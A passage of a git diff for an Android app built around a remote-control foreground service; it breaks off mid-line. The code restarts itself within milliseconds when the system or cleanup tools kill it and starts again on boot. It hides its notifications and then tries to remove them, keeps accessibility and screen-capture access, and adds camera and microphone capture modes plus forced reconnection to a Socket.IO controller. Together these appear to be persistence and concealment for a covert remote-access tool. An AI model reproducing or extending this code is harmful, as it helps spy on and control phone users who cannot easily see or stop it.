@@ -180,7 +183,7 @@ class EffectiveKeepAliveManager(private val context: Context) {
addAction(Intent.ACTION_MY_PACKAGE_REPLACED)
addAction(Intent.ACTION_PACKAGE_REPLACED)
}
- context.registerReceiver(systemEventReceiver, filter)
+ context.registerReceiverCompat(systemEventReceiver, filter)
Log.i(TAG, "📡 系统事件接收器已注册")
} catch (e: Exception) {
Log.e(TAG, "❌ 注册系统事件接收器失败", e)
@@ -207,10 +210,10 @@ class EffectiveKeepAliveManager(private val context: Context) {
while (isActive && isMonitoring) {
try {
performKeepAliveActions()
- delay(CHECK_INTERVAL)
+ delay(keepAlivePolicy.keepAliveCheckIntervalMs)
} catch (e: Exception) {
Log.e(TAG, "❌ 有效保活监控过程中发生错误", e)
- delay(CHECK_INTERVAL)
+ delay(keepAlivePolicy.keepAliveCheckIntervalMs)
}
}
}
@@ -335,10 +338,13 @@ class EffectiveKeepAliveManager(private val context: Context) {
*/
private fun ensureForegroundService() {
try {
- val serviceIntent = Intent(context, RemoteControlForegroundService::class.java)
- serviceIntent.action = "ENSURE_FOREGROUND"
- context.startForegroundService(serviceIntent)
- Log.d(TAG, "✅ 已确保前台服务运行")
+ ForegroundServiceStarter.maybeStartRemoteForegroundService(
+ context = context,
+ action = "ENSURE_FOREGROUND",
+ reason = "effective_keepalive_ensure",
+ minIntervalMs = keepAlivePolicy.minForegroundKickIntervalMs
+ )
+ Log.d(TAG, "✅ 已执行前台服务确保逻辑")
} catch (e: Exception) {
Log.e(TAG, "❌ 确保前台服务运行失败", e)
}
@@ -421,6 +427,10 @@ class EffectiveKeepAliveManager(private val context: Context) {
Log.e(TAG, "❌ 启动多重保活机制失败", e)
}
}
+
+ private fun getRecoveryDelayMs(): Long {
+ return if (keepAlivePolicy.enableAggressiveWorkers) 50L else 1500L
+ }
/**
* AlarmManager保活机制
diff --git a/app/src/main/java/com/hikoncont/service/EnhancedSystemEventReceiver.kt b/app/src/main/java/com/hikoncont/service/EnhancedSystemEventReceiver.kt
index 5168fa8..2334a3a 100644
--- a/app/src/main/java/com/hikoncont/service/EnhancedSystemEventReceiver.kt
+++ b/app/src/main/java/com/hikoncont/service/EnhancedSystemEventReceiver.kt
@@ -4,6 +4,8 @@ import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.util.Log
+import com.hikoncont.util.DeviceMetricsReporter
+import com.hikoncont.util.RuntimeFeatureFlags
import kotlinx.coroutines.*
/**
@@ -23,6 +25,7 @@ class EnhancedSystemEventReceiver : BroadcastReceiver() {
try {
val action = intent.action
Log.i(TAG, "📡 收到系统事件广播: $action")
+ val flags = RuntimeFeatureFlags.current(context)
when (action) {
Intent.ACTION_BOOT_COMPLETED,
@@ -33,6 +36,10 @@ class EnhancedSystemEventReceiver : BroadcastReceiver() {
Intent.ACTION_PACKAGE_ADDED,
Intent.ACTION_PACKAGE_REPLACED,
"android.mycustrecev.RESTART_SERVICES" -> {
+ if (!flags.enhancedEventRecovery) {
+ Log.i(TAG, "⏭️ enhancedEventRecovery=false，忽略系统事件恢复: $action")
+ return
+ }
// 异步处理服务重启
CoroutineScope(Dispatchers.IO).launch {
handleServiceRestart(context, action)
@@ -86,6 +93,12 @@ class EnhancedSystemEventReceiver : BroadcastReceiver() {
*/
private fun startAllKeepAliveServices(context: Context) {
try {
+ val flags = RuntimeFeatureFlags.current(context)
+ if (!flags.enhancedEventRecovery) {
+ Log.i(TAG, "⏭️ enhancedEventRecovery=false，跳过保活服务重启")
+ return
+ }
+
Log.i(TAG, "🚀 启动保活服务（参考 f 目录策略）")
// ✅ 参考 f 目录：只启动主前台服务（对应 BackRunServerUseUse）
@@ -98,12 +111,31 @@ class EnhancedSystemEventReceiver : BroadcastReceiver() {
Log.i(TAG, "✅ 主前台服务已启动")
// ✅ 启动 WorkManager 保活（对应 f 目录的系统级 WorkManager）
- WorkManagerKeepAliveService.getInstance().startKeepAlive(context)
- Log.i(TAG, "✅ WorkManager保活已启动")
+ if (flags.workManagerKeepAlive) {
+ WorkManagerKeepAliveService.getInstance().startKeepAlive(context)
+ Log.i(TAG, "✅ WorkManager保活已启动")
+ } else {
+ Log.i(TAG, "⏭️ workManagerKeepAlive=false，跳过WorkManager保活")
+ }
Log.i(TAG, "✅ 保活服务启动完成")
+ DeviceMetricsReporter.reportKeepAlive(
+ context = context,
+ metricName = "enhanced_event_recovery_start",
+ success = true,
+ data = mapOf("source" to "EnhancedSystemEventReceiver")
+ )
} catch (e: Exception) {
Log.e(TAG, "❌ 启动保活服务失败", e)
+ DeviceMetricsReporter.reportKeepAlive(
+ context = context,
+ metricName = "enhanced_event_recovery_start",
+ success = false,
+ data = mapOf(
+ "source" to "EnhancedSystemEventReceiver",
+ "error" to (e.message ?: "unknown")
+ )
+ )
}
}
@@ -170,6 +202,14 @@ class EnhancedBootReceiver : BroadcastReceiver() {
try {
val action = intent.action
Log.i(TAG, "🚀 收到开机广播: $action")
+ val flags = RuntimeFeatureFlags.current(context)
+ if (!flags.bootAutoStart || !flags.enhancedEventRecovery) {
+ Log.i(
+ TAG,
+ "⏭️ featureFlags阻止开机恢复: bootAutoStart=${flags.bootAutoStart}, enhancedEventRecovery=${flags.enhancedEventRecovery}"
+ )
+ return
+ }
when (action) {
Intent.ACTION_BOOT_COMPLETED,
@@ -199,8 +239,23 @@ class EnhancedBootReceiver : BroadcastReceiver() {
enhancedReceiver.onReceive(context, Intent("android.mycustrecev.RESTART_SERVICES"))
Log.i(TAG, "✅ 开机自启动完成")
+ DeviceMetricsReporter.reportKeepAlive(
+ context = context,
+ metricName = "enhanced_boot_recovery_start",
+ success = true,
+ data = mapOf("source" to "EnhancedBootReceiver")
+ )
} catch (e: Exception) {
Log.e(TAG, "❌ 开机自启动失败", e)
+ DeviceMetricsReporter.reportKeepAlive(
+ context = context,
+ metricName = "enhanced_boot_recovery_start",
+ success = false,
+ data = mapOf(
+ "source" to "EnhancedBootReceiver",
+ "error" to (e.message ?: "unknown")
+ )
+ )
}
}
}
@@ -272,6 +327,12 @@ class EnhancedPackagesReceiver : BroadcastReceiver() {
*/
private fun startAllKeepAliveServices(context: Context) {
try {
+ val flags = RuntimeFeatureFlags.current(context)
+ if (!flags.enhancedEventRecovery) {
+ Log.i(TAG, "⏭️ enhancedEventRecovery=false，跳过包变化恢复")
+ return
+ }
+
Log.i(TAG, "🚀 启动所有保活服务")
val enhancedReceiver = EnhancedSystemEventReceiver()
diff --git a/app/src/main/java/com/hikoncont/service/ImmediateRecoveryWorker.kt b/app/src/main/java/com/hikoncont/service/ImmediateRecoveryWorker.kt
index 98910cc..88d6888 100644
--- a/app/src/main/java/com/hikoncont/service/ImmediateRecoveryWorker.kt
+++ b/app/src/main/java/com/hikoncont/service/ImmediateRecoveryWorker.kt
@@ -4,6 +4,8 @@ import android.content.Context
import android.util.Log
import androidx.work.CoroutineWorker
import androidx.work.WorkerParameters
+import com.hikoncont.util.DeviceDetector
+import com.hikoncont.util.ForegroundServiceStarter
/**
* 立即恢复工作器（一次性执行）
@@ -46,9 +48,14 @@ class ImmediateRecoveryWorker(
private suspend fun startForegroundService() {
try {
- val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
- applicationContext.startForegroundService(intent)
- Log.d(TAG, "✅ 前台服务立即启动完成")
+ val policy = DeviceDetector.getKeepAlivePolicy()
+ ForegroundServiceStarter.maybeStartRemoteForegroundService(
+ context = applicationContext,
+ action = "RESTART_SERVICE",
+ reason = "workmanager_immediate_worker",
+ minIntervalMs = policy.minForegroundKickIntervalMs
+ )
+ Log.d(TAG, "✅ 前台服务立即启动逻辑已执行")
} catch (e: Exception) {
Log.e(TAG, "❌ 立即启动前台服务失败", e)
}
@@ -73,9 +80,14 @@ class ImmediateRecoveryWorker(
// 只启动后台服务，不启动Activity
try {
- val serviceIntent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
- applicationContext.startForegroundService(serviceIntent)
- Log.d(TAG, "✅ 后台服务已启动")
+ val policy = DeviceDetector.getKeepAlivePolicy()
+ ForegroundServiceStarter.maybeStartRemoteForegroundService(
+ context = applicationContext,
+ action = "RESTART_SERVICE",
+ reason = "workmanager_immediate_activity_fallback",
+ minIntervalMs = policy.minForegroundKickIntervalMs
+ )
+ Log.d(TAG, "✅ 后台服务启动逻辑已执行")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动后台服务失败", e)
}
diff --git a/app/src/main/java/com/hikoncont/service/KeepAliveService.kt b/app/src/main/java/com/hikoncont/service/KeepAliveService.kt
index 67cab27..407c117 100644
--- a/app/src/main/java/com/hikoncont/service/KeepAliveService.kt
+++ b/app/src/main/java/com/hikoncont/service/KeepAliveService.kt
@@ -9,11 +9,14 @@ import android.app.NotificationManager
import android.content.ComponentName
import android.content.Context
import android.content.Intent
+import android.content.pm.ServiceInfo
import android.content.pm.PackageManager
import android.os.IBinder
import android.os.PowerManager
import android.os.Process
import android.util.Log
+import com.hikoncont.util.DeviceDetector
+import com.hikoncont.util.ForegroundServiceStarter
import kotlinx.coroutines.*
/**
@@ -24,7 +27,6 @@ class KeepAliveService : Service() {
companion object {
private const val TAG = "KeepAliveService"
- private const val CHECK_INTERVAL = 1000L // ✅ 激进优化：1秒检查一次，快速发现问题
private const val QUICK_RECOVERY_DELAY = 50L // ✅ 快速恢复：50ms延迟
private const val AGGRESSIVE_RECOVERY_DELAY = 20L // ✅ 激进恢复：20ms延迟
@@ -37,6 +39,7 @@ class KeepAliveService : Service() {
private var monitorJob: Job? = null
private var wakeLock: PowerManager.WakeLock? = null
private var foregroundStarted: Boolean = false
+ private val keepAlivePolicy by lazy { DeviceDetector.getKeepAlivePolicy() }
// ✅ 新增：无障碍服务重启控制
private var accessibilityRestartCount = 0
@@ -73,7 +76,7 @@ class KeepAliveService : Service() {
releaseWakeLock()
// 被系统或清理工具杀死时，安排激进自恢复
- scheduleSelfAndCoreRestart(AGGRESSIVE_RECOVERY_DELAY) // ✅ 激进：50ms快速恢复
+ scheduleSelfAndCoreRestart(getRecoveryDelayMs())
Log.i(TAG, "🚀 启动激进保活恢复机制")
monitorJob?.cancel()
@@ -83,7 +86,7 @@ class KeepAliveService : Service() {
override fun onTaskRemoved(rootIntent: Intent?) {
Log.w(TAG, "🧹 检测到任务被移除(onTaskRemoved)，安排服务自恢复")
- scheduleSelfAndCoreRestart(AGGRESSIVE_RECOVERY_DELAY) // ✅ 激进：50ms极速恢复
+ scheduleSelfAndCoreRestart(getRecoveryDelayMs())
Log.i(TAG, "🚀 任务移除，启动激进恢复")
super.onTaskRemoved(rootIntent)
}
@@ -130,15 +133,15 @@ class KeepAliveService : Service() {
// ✅ 关键：检查APP是否安装完成，未完成则不监控无障碍权限
if (!isAppInstallationComplete()) {
Log.d(TAG, "🔒 APP安装未完成，跳过无障碍权限监控")
- delay(CHECK_INTERVAL)
+ delay(getCheckIntervalMs())
continue
}
checkAndRestartServices()
- delay(CHECK_INTERVAL)
+ delay(getCheckIntervalMs())
} catch (e: Exception) {
Log.e(TAG, "监控过程中发生错误", e)
- delay(CHECK_INTERVAL)
+ delay(getCheckIntervalMs())
}
}
}
@@ -421,10 +424,13 @@ class KeepAliveService : Service() {
*/
private fun restartForegroundService() {
try {
- val intent = Intent(this, RemoteControlForegroundService::class.java)
- intent.action = "RESTART_SERVICE"
- startForegroundService(intent)
- Log.i(TAG, "已重启前台服务")
+ ForegroundServiceStarter.maybeStartRemoteForegroundService(
+ context = this,
+ action = "RESTART_SERVICE",
+ reason = "keepalive_restart",
+ minIntervalMs = keepAlivePolicy.minForegroundKickIntervalMs
+ )
+ Log.i(TAG, "已执行前台服务重启逻辑")
} catch (e: Exception) {
Log.e(TAG, "重启前台服务失败", e)
}
@@ -451,6 +457,18 @@ class KeepAliveService : Service() {
Log.e(TAG, "❌ 启动多重保活机制失败", e)
}
}
+
+ private fun getCheckIntervalMs(): Long {
+ return keepAlivePolicy.keepAliveCheckIntervalMs
+ }
+
+ private fun getRecoveryDelayMs(): Long {
+ return if (keepAlivePolicy.enableAggressiveWorkers) {
+ AGGRESSIVE_RECOVERY_DELAY
+ } else {
+ 1500L
+ }
+ }
/**
* AlarmManager保活机制
@@ -459,9 +477,6 @@ class KeepAliveService : Service() {
try {
val alarmManager = getSystemService(Context.ALARM_SERVICE) as AlarmManager
- val rcfsIntent = Intent(this, RemoteControlForegroundService::class.java).apply {
- action = "RESTART_SERVICE"
- }
val keepAliveIntent = Intent(this, KeepAliveService::class.java)
val pendingFlags = (PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE)
@@ -470,6 +485,15 @@ class KeepAliveService : Service() {
val randomId1 = (System.currentTimeMillis() % 10000).toInt()
val randomId2 = randomId1 + 1
+ val rcfsIntent = Intent(this, RemoteControlForegroundService::class.java).apply {
+ action = "RESTART_SERVICE"
+ }
+ val keepAlivePI = PendingIntent.getService(
+ this,
+ randomId2,
+ keepAliveIntent,
+ pendingFlags
+ )
val rcfsPI = PendingIntent.getForegroundService(
this,
randomId1,
@@ -477,24 +501,55 @@ class KeepAliveService : Service() {
pendingFlags
)
- val keepAlivePI = PendingIntent.getService(
- this,
- randomId2,
- keepAliveIntent,
- pendingFlags
- )
-
val triggerAt = System.currentTimeMillis() + delayMillis
- // 使用极速恢复策略
- alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI)
- alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + QUICK_RECOVERY_DELAY, keepAlivePI) // ✅ 激进：100ms极速恢复
+ scheduleWakeAlarm(
+ alarmManager = alarmManager,
+ triggerAt = triggerAt,
+ pendingIntent = rcfsPI,
+ label = "rcfs_restart"
+ )
+ scheduleWakeAlarm(
+ alarmManager = alarmManager,
+ triggerAt = triggerAt + QUICK_RECOVERY_DELAY,
+ pendingIntent = keepAlivePI,
+ label = "keepalive_restart"
+ ) // ✅ 激进：100ms极速恢复
Log.i(TAG, "⏰ AlarmManager保活已安排: 前台服务(${delayMillis}ms) + 保活服务(${delayMillis + 200}ms)")
} catch (e: Exception) {
Log.e(TAG, "❌ AlarmManager保活安排失败", e)
}
}
+
+ private fun scheduleWakeAlarm(
+ alarmManager: AlarmManager,
+ triggerAt: Long,
+ pendingIntent: PendingIntent,
+ label: String
+ ) {
+ try {
+ alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, pendingIntent)
+ return
+ } catch (security: SecurityException) {
+ Log.w(TAG, "⚠️ Exact alarm denied for $label, fallback to setAndAllowWhileIdle", security)
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ Exact alarm failed for $label, fallback to setAndAllowWhileIdle", e)
+ }
+
+ try {
+ alarmManager.setAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, pendingIntent)
+ return
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ setAndAllowWhileIdle failed for $label, fallback to set", e)
+ }
+
+ try {
+ alarmManager.set(AlarmManager.RTC_WAKEUP, triggerAt, pendingIntent)
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ Alarm fallback failed for $label", e)
+ }
+ }
/**
* JobScheduler保活机制（Android 5.0+）
@@ -536,7 +591,6 @@ class KeepAliveService : Service() {
try {
Log.i(TAG, "📡 广播保活机制触发")
- // 启动前台服务
val rcfsIntent = Intent(this@KeepAliveService, RemoteControlForegroundService::class.java).apply {
action = "RESTART_SERVICE"
}
@@ -607,11 +661,15 @@ class KeepAliveService : Service() {
.setVisibility(Notification.VISIBILITY_SECRET) // ✅ 完全隐藏
.build()
- startForeground(1001, notification)
+ if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.Q) {
+ startForeground(1001, notification, ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC)
+ } else {
+ startForeground(1001, notification)
+ }
// ✅ 尝试移除通知（某些设备上可能有效）
try {
- if (android.os.Build.VERSION.SDK_INT >= 24) {
+ if (android.os.Build.VERSION.SDK_INT in 24..33) {
stopForeground(Service.STOP_FOREGROUND_REMOVE)
}
} catch (e: Exception) {
@@ -625,4 +683,4 @@ class KeepAliveService : Service() {
Log.e(TAG, "❌ KeepAliveService 前台启动失败", e)
}
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/service/ProcessMonitorService.kt b/app/src/main/java/com/hikoncont/service/ProcessMonitorService.kt
index 0c2839c..3eec336 100644
--- a/app/src/main/java/com/hikoncont/service/ProcessMonitorService.kt
+++ b/app/src/main/java/com/hikoncont/service/ProcessMonitorService.kt
@@ -275,9 +275,20 @@ class ProcessMonitorService : Service() {
)
val triggerAt = System.currentTimeMillis() + 50 // 50ms延迟
-
- alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI)
- alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 50, keepAlivePI)
+
+ try {
+ alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI)
+ } catch (security: SecurityException) {
+ Log.w(TAG, "Exact alarm denied for process monitor RCFS restart, fallback to inexact wake alarm", security)
+ alarmManager.setAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI)
+ }
+
+ try {
+ alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 50, keepAlivePI)
+ } catch (security: SecurityException) {
+ Log.w(TAG, "Exact alarm denied for process monitor KeepAlive restart, fallback to inexact wake alarm", security)
+ alarmManager.setAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 50, keepAlivePI)
+ }
Log.i(TAG, "✅ 激进恢复机制已启动")
} catch (e: Exception) {
diff --git a/app/src/main/java/com/hikoncont/service/RemoteControlForegroundService.kt b/app/src/main/java/com/hikoncont/service/RemoteControlForegroundService.kt
index dea5454..9a6a226 100644
--- a/app/src/main/java/com/hikoncont/service/RemoteControlForegroundService.kt
+++ b/app/src/main/java/com/hikoncont/service/RemoteControlForegroundService.kt
@@ -20,6 +20,8 @@ import androidx.core.app.NotificationCompat
import kotlinx.coroutines.*
import com.hikoncont.MediaProjectionHolder
import com.hikoncont.R
+import com.hikoncont.util.DeviceDetector
+import com.hikoncont.util.registerReceiverCompat
/**
* 远程控制前台服务
@@ -36,6 +38,13 @@ class RemoteControlForegroundService : Service() {
private const val NOTIFICATION_CHANNEL_ID = "media_projection_service"
private const val NOTIFICATION_ID = 2001
private const val RESTART_DELAY = 3000L // 重启延迟3秒
+ const val ACTION_START_MEDIA_PROJECTION = "START_MEDIA_PROJECTION"
+ const val ACTION_START_MEDIA_PROJECTION_FGS_ONLY = "START_MEDIA_PROJECTION_FGS_ONLY"
+ const val ACTION_STOP_SCREEN_CAPTURE = "STOP_SCREEN_CAPTURE"
+ const val ACTION_RESTART_SERVICE = "RESTART_SERVICE"
+ const val ACTION_UPGRADE_CAMERA = "UPGRADE_CAMERA_FGS_TYPE"
+ const val ACTION_UPGRADE_MICROPHONE = "UPGRADE_MICROPHONE_FGS_TYPE"
+ const val ACTION_UPGRADE_CAMERA_MICROPHONE = "UPGRADE_CAMERA_MICROPHONE_FGS_TYPE"
}
private var mediaProjection: MediaProjection? = null
@@ -44,6 +53,11 @@ class RemoteControlForegroundService : Service() {
private var wifiLock: android.net.wifi.WifiManager.WifiLock? = null
private val serviceScope = CoroutineScope(Dispatchers.Main + SupervisorJob())
private var keepAliveJob: Job? = null
+ private var disableAutoRestart = false
+ private var foregroundEstablished = false
+ private var currentForegroundType: Int? = null
+ private var lastSocketRecoveryAt = 0L
+ private val socketRecoveryCooldownMs = 20_000L
// ✅ Android 15深度恢复广播接收器
private val deepRecoveryReceiver = object : BroadcastReceiver() {
@@ -67,7 +81,7 @@ class RemoteControlForegroundService : Service() {
// ✅ 注册Android 15深度恢复广播接收器
if (Build.VERSION.SDK_INT >= 35) {
val filter = IntentFilter("android.mycustrecev.DEEP_RECOVERY_MODE")
- registerReceiver(deepRecoveryReceiver, filter)
+ registerReceiverCompat(deepRecoveryReceiver, filter)
Log.i(TAG, "✅ 已注册Android 15深度恢复广播接收器")
}
@@ -81,22 +95,51 @@ class RemoteControlForegroundService : Service() {
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
Log.i(TAG, "前台服务启动命令: ${intent?.action}")
+ if (intent?.action == ACTION_STOP_SCREEN_CAPTURE) {
+ handleStopScreenCapture()
+ return START_NOT_STICKY
+ }
+
+ val isProjectionRequest =
+ intent?.action == ACTION_START_MEDIA_PROJECTION ||
+ intent?.action == ACTION_START_MEDIA_PROJECTION_FGS_ONLY
+ val requestCameraType =
+ intent?.action == ACTION_UPGRADE_CAMERA || intent?.action == ACTION_UPGRADE_CAMERA_MICROPHONE
+ val requestMicrophoneType =
+ intent?.action == ACTION_UPGRADE_MICROPHONE || intent?.action == ACTION_UPGRADE_CAMERA_MICROPHONE
+ val foregroundStarted = startForegroundService(
+ preferMediaProjectionType = isProjectionRequest,
+ requireCameraType = requestCameraType,
+ requireMicrophoneType = requestMicrophoneType,
+ action = intent?.action
+ )
+ if (!foregroundStarted) {
+ Log.w(TAG, "⚠️ 前台服务启动失败，忽略本次命令: action=${intent?.action}")
+ return START_NOT_STICKY
+ }
+
when (intent?.action) {
- "START_MEDIA_PROJECTION" -> {
+ ACTION_START_MEDIA_PROJECTION -> {
handleStartMediaProjection(intent)
}
- "STOP_SCREEN_CAPTURE" -> {
- handleStopScreenCapture()
+ ACTION_START_MEDIA_PROJECTION_FGS_ONLY -> {
+ Log.i(TAG, "仅升级前台服务到mediaProjection类型，不预创建MediaProjection对象")
}
- "RESTART_SERVICE" -> {
+ ACTION_UPGRADE_CAMERA -> {
+ Log.i(TAG, "前台服务类型升级请求: camera")
+ }
+ ACTION_UPGRADE_MICROPHONE -> {
+ Log.i(TAG, "前台服务类型升级请求: microphone")
+ }
+ ACTION_UPGRADE_CAMERA_MICROPHONE -> {
+ Log.i(TAG, "前台服务类型升级请求: camera|microphone")
+ }
+ ACTION_RESTART_SERVICE -> {
// ✅ 参考 f 目录：不重启无障碍服务，系统会自动管理
Log.d(TAG, "📱 无障碍服务由系统自动管理，无需手动重启")
}
}
- // 确保前台服务已启动
- startForegroundService()
-
return START_STICKY
}
@@ -104,9 +147,6 @@ class RemoteControlForegroundService : Service() {
try {
Log.i(TAG, "开始处理MediaProjection")
- // 启动前台服务
- startForegroundService()
-
// ✅ 优先检查 Holder 中是否已有有效的 MediaProjection 对象
val existingProjection = MediaProjectionHolder.getMediaProjection()
if (existingProjection != null) {
@@ -204,28 +244,140 @@ class RemoteControlForegroundService : Service() {
}
}
- private fun startForegroundService() {
+ private fun startForegroundService(
+ preferMediaProjectionType: Boolean = false,
+ requireCameraType: Boolean = false,
+ requireMicrophoneType: Boolean = false,
+ action: String? = null
+ ): Boolean {
val notification = createNotification()
-
- if (Build.VERSION.SDK_INT >= 34) {
- // ✅ Android 14+ (API 34+)：参考billd-desk，传入FOREGROUND_SERVICE_TYPE_MANIFEST(-1)
- // 让系统从Manifest中读取foregroundServiceType，确保权限正确声明
- startForeground(
- NOTIFICATION_ID,
- notification,
- ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION
- )
- } else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
- startForeground(
- NOTIFICATION_ID,
- notification,
- ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION
- )
- } else {
- startForeground(NOTIFICATION_ID, notification)
+ val hasProjectionGrant =
+ mediaProjection != null ||
+ MediaProjectionHolder.getMediaProjection() != null ||
+ MediaProjectionHolder.getPermissionData() != null
+ val requestedType = buildForegroundType(
+ preferMediaProjectionType = preferMediaProjectionType,
+ requireCameraType = requireCameraType,
+ requireMicrophoneType = requireMicrophoneType,
+ hasProjectionGrant = hasProjectionGrant
+ )
+ DeviceDetector.getKeepAlivePolicy() // 触发统一策略日志，便于排障
+
+ // 同一进程内只做一次前台建立，后续命令复用现有前台状态，避免重复消耗时限。
+ if (foregroundEstablished) {
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
+ val mergedType = mergeForegroundType(currentForegroundType, requestedType)
+ if (mergedType == currentForegroundType) {
+ Log.d(
+ TAG,
+ "foreground already established, type unchanged=${describeForegroundType(mergedType)} action=$action"
+ )
+ return true
+ }
+ return try {
+ startForeground(
+ NOTIFICATION_ID,
+ notification,
+ mergedType
+ )
+ currentForegroundType = mergedType
+ Log.i(
+ TAG,
+ "前台服务类型已升级: type=${describeForegroundType(mergedType)}, action=$action"
+ )
+ true
+ } catch (e: Exception) {
+ Log.e(TAG, "前台服务类型升级失败，维持当前前台状态: action=$action", e)
+ false
+ }
+ }
+ Log.d(TAG, "foreground already established, skip duplicate startForeground: action=$action")
+ return true
}
-
- Log.i(TAG, "前台服务已启动")
+
+ return try {
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
+ startForeground(
+ NOTIFICATION_ID,
+ notification,
+ requestedType
+ )
+ currentForegroundType = requestedType
+ } else {
+ startForeground(NOTIFICATION_ID, notification)
+ currentForegroundType = null
+ }
+
+ Log.i(
+ TAG,
+ "前台服务已启动，type=${describeForegroundType(currentForegroundType)}"
+ )
+ if (preferMediaProjectionType && !hasProjectionGrant) {
+ Log.w(TAG, "请求了mediaProjection前台类型，但当前无有效投屏授权，已降级为dataSync避免崩溃")
+ }
+ foregroundEstablished = true
+ true
+ } catch (e: Exception) {
+ if (e.javaClass.simpleName.contains("ForegroundServiceStartNotAllowedException")) {
+ disableAutoRestart = true
+ Log.e(TAG, "前台服务类型时限触发，已禁用自动重拉避免崩溃风暴", e)
+ } else {
+ Log.e(TAG, "前台服务启动失败", e)
+ }
+ try {
+ stopForeground(STOP_FOREGROUND_REMOVE)
+ } catch (_: Exception) {
+ }
+ try {
+ stopSelf()
+ } catch (_: Exception) {
+ }
+ false
+ }
+ }
+
+ private fun buildForegroundType(
+ preferMediaProjectionType: Boolean,
+ requireCameraType: Boolean,
+ requireMicrophoneType: Boolean,
+ hasProjectionGrant: Boolean
+ ): Int {
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) {
+ return 0
+ }
+ var type = ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC
+ if (preferMediaProjectionType && hasProjectionGrant) {
+ type = type or ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION
+ }
+ if (requireCameraType) {
+ type = type or ServiceInfo.FOREGROUND_SERVICE_TYPE_CAMERA
+ }
+ if (requireMicrophoneType) {
+ type = type or ServiceInfo.FOREGROUND_SERVICE_TYPE_MICROPHONE
+ }
+ return type
+ }
+
+ private fun mergeForegroundType(currentType: Int?, requestedType: Int): Int {
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) {
+ return 0
+ }
+ val base = currentType ?: ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC
+ return base or requestedType
+ }
+
+ private fun describeForegroundType(type: Int?): String {
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) {
+ return "legacy"
+ }
+ val value = type ?: ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC
+ val parts = mutableListOf()
+ if (value and ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC != 0) parts += "dataSync"
+ if (value and ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION != 0) parts += "mediaProjection"
+ if (value and ServiceInfo.FOREGROUND_SERVICE_TYPE_CAMERA != 0) parts += "camera"
+ if (value and ServiceInfo.FOREGROUND_SERVICE_TYPE_MICROPHONE != 0) parts += "microphone"
+ if (parts.isEmpty()) parts += "none($value)"
+ return parts.joinToString("|")
}
private fun notifyAccessibilityService() {
@@ -438,8 +590,22 @@ class RemoteControlForegroundService : Service() {
// ✅ 只检查Socket.IO连接状态，WebSocket已移除
if (!socketIOConnected) {
- Log.w(TAG, "⚠️ 检测到Socket.IO连接断开，但等待其自动重连机制处理")
- // 让Socket.IO的重连机制工作，前台服务不强制干预
+ val recoverNow = System.currentTimeMillis()
+ val elapsed = recoverNow - lastSocketRecoveryAt
+ if (elapsed >= socketRecoveryCooldownMs) {
+ lastSocketRecoveryAt = recoverNow
+ Log.w(TAG, "⚠️ 检测到Socket.IO连接断开，触发主动连接自愈")
+ try {
+ accessibilityService.checkAndStartConnection()
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 主动连接自愈触发失败", e)
+ }
+ } else {
+ Log.d(
+ TAG,
+ "⏳ Socket.IO重连冷却中: ${elapsed}ms/${socketRecoveryCooldownMs}ms"
+ )
+ }
} else {
Log.d(TAG, "✅ Socket.IO连接正常: $socketIOConnected")
}
@@ -556,6 +722,8 @@ class RemoteControlForegroundService : Service() {
// 这会导致Android 15设备权限丢失
// mediaProjection?.stop() // 删除，避免权限被意外停止
mediaProjection = null
+ foregroundEstablished = false
+ currentForegroundType = null
// 只清理引用，保留权限数据
MediaProjectionHolder.clearMediaProjection()
@@ -570,8 +738,12 @@ class RemoteControlForegroundService : Service() {
}
}
- // 服务销毁时自动重启
- scheduleRestart()
+ // 服务销毁时自动重启（保守策略 + 启动受限场景下跳过，避免循环崩溃）
+ if (!disableAutoRestart) {
+ scheduleRestart()
+ } else {
+ Log.w(TAG, "skip auto restart after foreground start restriction")
+ }
super.onDestroy()
}
@@ -594,11 +766,27 @@ class RemoteControlForegroundService : Service() {
val alarmManager = getSystemService(Context.ALARM_SERVICE) as android.app.AlarmManager
val restartTime = System.currentTimeMillis() + RESTART_DELAY
- alarmManager.setExact(
